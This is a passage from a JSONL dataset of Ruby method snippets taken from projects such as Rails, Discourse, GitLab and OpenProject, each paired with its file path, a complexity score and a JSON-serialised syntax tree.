}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"iterations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_reference\",{\"type\":\"sym\",\"children\":[\"meetings\"]},{\"type\":\"sym\",\"children\":[\"recurring_meeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"meetings\"]},{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"89f92992-aa8c-4df6-8a9c-ba878d8a0901"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list_controls.rb","start_line":40,"raw_source":"def click_latest\n        find(\".nav-item_latest\").click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_latest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".nav-item_latest\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"15870caf-e011-4028-92cf-c38ae18ea0be"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1105,"raw_source":"def test_bignum_pk\n    company = Company.create!(id: 2147483648, name: \"foo\")\n    assert_equal company, Company.find(company.id)\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bignum_pk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"company\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[2147483648]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"company\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"id\"]}]}]}]}]}","id":"a8d5dd91-8922-4209-bea1-ac34e77f2af9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/tag.rb","start_line":170,"raw_source":"def self.topic_count_column(guardian)\n    if guardian&.is_staff? || SiteSetting.include_secure_categories_in_tag_counts\n      \"staff_topic_count\"\n    else\n      \"public_topic_count\"\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"topic_count_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"is_staff?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"include_secure_categories_in_tag_counts\"]}]},{\"type\":\"str\",\"children\":[\"staff_topic_count\"]},{\"type\":\"str\",\"children\":[\"public_topic_count\"]}]}]}","id":"c0d6d17c-a1fe-4fa3-9066-a1da18dd449d"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/encoder.rb","start_line":27,"raw_source":"def coder_from_record(record, klass)\n        return unless record\n\n        coder = {}\n        coder[:attributes] = record.attributes_before_type_cast.dup\n\n        recursively_embedded_associations = klass.send(:recursively_embedded_associations)\n        id_embedded_has_manys = klass.cached_has_manys.select { |_, association| association.embedded_by_reference? }\n        id_embedded_has_ones = klass.cached_has_ones.select { |_, association| association.embedded_by_reference? }\n\n        if recursively_embedded_associations.present?\n          coder[:associations] = recursively_embedded_associations.each_with_object({}) do |(name, association), hash|\n            hash[name] = IdentityCache.map_cached_nil_for(embedded_coder(record, name, association))\n          end\n        end\n\n        if id_embedded_has_manys.present?\n          coder[:association_ids] = id_embedded_has_manys.each_with_object({}) do |(name, association), hash|\n            hash[name] = record.instance_variable_get(association.ids_variable_name)\n          end\n        end\n\n        if id_embedded_has_ones.present?\n          coder[:association_id] = id_embedded_has_ones.each_with_object({}) do |(name, association), hash|\n            hash[name] = record.instance_variable_get(association.id_variable_name)\n          end\n        end\n\n        coder\n      end","complexity_score":57.9,"ast_json":"{\"type\":\"def\",\"children\":[\"coder_from_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"attributes_before_type_cast\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"recursively_embedded_associations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"send\",{\"type\":\"sym\",\"children\":[\"recursively_embedded_associations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_embedded_has_manys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"cached_has_manys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"embedded_by_reference?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_embedded_has_ones\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"cached_has_ones\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"embedded_by_reference?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recursively_embedded_associations\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recursively_embedded_associations\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"map_cached_nil_for\",{\"type\":\"send\",\"children\":[null,\"embedded_coder\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"association\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_embedded_has_manys\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"association_ids\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_embedded_has_manys\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"instance_variable_get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"ids_variable_name\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_embedded_has_ones\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"association_id\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_embedded_has_ones\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"instance_variable_get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"id_variable_name\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}","id":"79a90042-bf29-4fd4-aabd-54541a5aa6c8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/join_dependency.rb","start_line":85,"raw_source":"def join_constraints(joins_to_add, alias_tracker, references)\n        @alias_tracker = alias_tracker\n        @joined_tables = {}\n        @references = {}\n\n        references.each do |table_name|\n          @references[table_name.to_sym] = table_name if table_name.is_a?(Arel::Nodes::SqlLiteral)\n        end unless references.empty?\n\n        joins = make_join_constraints(join_root, join_type)\n\n        joins.concat joins_to_add.flat_map { |oj|\n          if join_root.match? oj.join_root\n            walk(join_root, oj.join_root, oj.join_type)\n          else\n            make_join_constraints(oj.join_root, oj.join_type)\n          end\n        }\n      end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"join_constraints\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"joins_to_add\"]},{\"type\":\"arg\",\"children\":[\"alias_tracker\"]},{\"type\":\"arg\",\"children\":[\"references\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@alias_tracker\",{\"type\":\"lvar\",\"children\":[\"alias_tracker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@joined_tables\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@references\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"empty?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"SqlLiteral\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@references\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"joins\",{\"type\":\"send\",\"children\":[null,\"make_join_constraints\",{\"type\":\"send\",\"children\":[null,\"join_root\"]},{\"type\":\"send\",\"children\":[null,\"join_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"joins\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"joins_to_add\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oj\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"join_root\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oj\"]},\"join_root\"]}]},{\"type\":\"send\",\"children\":[null,\"walk\",{\"type\":\"send\",\"children\":[null,\"join_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oj\"]},\"join_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oj\"]},\"join_type\"]}]},{\"type\":\"send\",\"children\":[null,\"make_join_constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oj\"]},\"join_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oj\"]},\"join_type\"]}]}]}]}]}]}]}","id":"0edd44cb-5119-4961-ae98-88eea8f70aba"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/support/rack_parsing_override.rb","start_line":69,"raw_source":"def POST\n      unless RequestPatch.permitted_caller?\n        raise UnexpectedCall, \"Unexpected call to Rack::Request#POST\"\n      end\n      super\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"POST\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestPatch\"]},\"permitted_caller?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnexpectedCall\"]},{\"type\":\"str\",\"children\":[\"Unexpected call to Rack::Request#POST\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"cdc3b6e6-ebdb-43a8-9992-339550be4c80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_feature.rb","start_line":54,"raw_source":"def required_minimum_access_level_for_private_project(feature)\n      feature = ensure_feature!(feature)\n\n      PRIVATE_FEATURES_MIN_ACCESS_LEVEL_FOR_PRIVATE_PROJECT.fetch(feature) do\n        required_minimum_access_level(feature)\n      end\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"required_minimum_access_level_for_private_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature\",{\"type\":\"send\",\"children\":[null,\"ensure_feature!\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRIVATE_FEATURES_MIN_ACCESS_LEVEL_FOR_PRIVATE_PROJECT\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"required_minimum_access_level\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}]}","id":"db1e752d-2413-4b89-a8ce-b3647957a8f1"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":391,"raw_source":"def test_dump_config_with_set\n    require 'set'\n    test_set = Set.new [\"test\", \"test2\"]\n    options = {:create_config => true, :test_option => test_set}\n\n    assert_output nil, \"---\\n:test_option:\\n- test\\n- test2\\n\" do\n      Brakeman.dump_config(options)\n    end\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dump_config_with_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"set\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test_set\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"test2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_config\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_option\"]},{\"type\":\"lvar\",\"children\":[\"test_set\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"---\\n:test_option:\\n- test\\n- test2\\n\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"dump_config\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"6a447467-f98e-4cda-8474-8044678f9863"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/shared_ai_conversation.rb","start_line":123,"raw_source":"def self.excerpt(posts)\n    excerpt = +\"\"\n    posts.each do |post|\n      excerpt << \"#{post.user.display_name}: #{post.excerpt(100)} \"\n      break if excerpt.length > 1000\n    end\n    excerpt\n  end","complexity_score":14.15,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"excerpt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"posts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"excerpt\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excerpt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"display_name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"excerpt\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excerpt\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"excerpt\"]}]}]}","id":"78536477-1a22-4956-ad79-7f560563c220"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/shared/working_days.rb","start_line":144,"raw_source":"def working_week_day?(date)\n        assert_some_working_week_days_exist\n        working_week_days[date.wday]\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"working_week_day?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_some_working_week_days_exist\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"working_week_days\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"wday\"]}]}]}]}","id":"b489f1ba-784b-4d5c-b796-5e2a333e0d83"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/import.rb","start_line":85,"raw_source":"def model_class\n      if type == 'Spree::Imports::Customers'\n        Spree.user_class\n      else\n        \"Spree::#{type.demodulize.singularize}\".safe_constantize\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"model_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Spree::Imports::Customers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"user_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Spree::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"demodulize\"]},\"singularize\"]}]}]},\"safe_constantize\"]}]}]}","id":"5269831f-616e-472f-aa7e-b80c94caedc8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query/filter/user_id.rb","start_line":38,"raw_source":"def transformed_values\n    # Map the special 'me' value\n    super\n        .filter_map { |val| replace_me_value(val) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"transformed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_me_value\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}","id":"2eff54f0-c14e-47ec-b0d9-e515b934114f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/nested_through_associations_test.rb","start_line":84,"raw_source":"def test_has_many_through_has_many_with_has_many_through_source_reflection_preload_via_joins\n    assert_includes_and_joins_equal(\n      Author.where(\"tags.id\" => tags(:general).id),\n      [authors(:david)], :tags\n    )\n\n    # This ensures that the polymorphism of taggings is being observed correctly\n    authors = Author.joins(:tags).where(\"taggings.taggable_type\" => \"FakeModel\")\n    assert_empty authors\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_has_many_with_has_many_through_source_reflection_preload_via_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes_and_joins_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tags.id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"general\"]}]},\"id\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"sym\",\"children\":[\"tags\"]}]},{\"type\":\"lvasgn\",\"children\":[\"authors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"taggings.taggable_type\"]},{\"type\":\"str\",\"children\":[\"FakeModel\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"lvar\",\"children\":[\"authors\"]}]}]}]}","id":"d84e096a-ffc4-4f92-8a03-4ae3d17358e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/embeddings/semantic_search.rb","start_line":66,"raw_source":"def search_for_topics(query, page = 1, hyde: true)\n        max_results_per_page = 100\n        limit = [Search.per_filter, max_results_per_page].min + 1\n        offset = (page - 1) * limit\n        search = Search.new(query, { guardian: guardian })\n        search_term = search.term\n\n        if search_term.blank? || search_term.length < SiteSetting.min_search_term_length\n          return Post.none\n        end\n\n        search_embedding = nil\n        if hyde\n          search_embedding = hyde_embedding(search_term)\n        else\n          search_embedding = embedding(search_term, asymmetric: true)\n        end\n\n        over_selection_limit = limit * OVER_SELECTION_FACTOR\n\n        schema = DiscourseAi::Embeddings::Schema.for(Topic)\n\n        candidate_topic_ids =\n          schema.asymmetric_similarity_search(\n            search_embedding,\n            limit: over_selection_limit,\n            offset: offset,\n          ).map(&:topic_id)\n\n        semantic_results =\n          ::Post\n            .where(post_type: ::Topic.visible_post_types(guardian.user))\n            .public_posts\n            .where(\"topics.visible\")\n            .where(topic_id: candidate_topic_ids, post_number: 1)\n            .order(\"array_position(ARRAY#{candidate_topic_ids}, posts.topic_id)\")\n            .limit(limit)\n\n        query_filter_results = search.apply_filters(semantic_results)\n\n        guardian.filter_allowed_categories(query_filter_results)\n      end","complexity_score":60.65,"ast_json":"{\"type\":\"def\",\"children\":[\"search_for_topics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"optarg\",\"children\":[\"page\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"hyde\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_results_per_page\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"per_filter\"]},{\"type\":\"lvar\",\"children\":[\"max_results_per_page\"]}]},\"min\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},\"term\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\"